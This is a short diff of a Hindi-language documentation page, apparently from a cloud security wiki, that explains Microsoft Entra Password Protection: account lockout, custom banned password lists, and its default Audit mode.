+Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) एक सुरक्षा फ़ीचर है जो कमजोर पासवर्ड के दुरुपयोग को रोकने में मदद करता है, जैसे कि कई असफल लॉगिन प्रयास होने पर खातों को लॉक आउट करना।\
+यह आपको एक कस्टम पासवर्ड सूची भी प्रदान करने और उसे **ban** करने की अनुमति देता है।
 
-इसे क्लाउड स्तर पर और on-premises Active Directory दोनों पर **लागू** किया जा सकता है।
+इसे क्लाउड स्तर और ऑन-प्रिमाइसेस Active Directory दोनों पर **लागू** किया जा सकता है।
 
 डिफ़ॉल्ट मोड **Audit** है:
 
 <figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
 
-## References
+## संदर्भ
 
 - [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
 - [SharePointDumper](https://github.com/zh54321/SharePointDumper)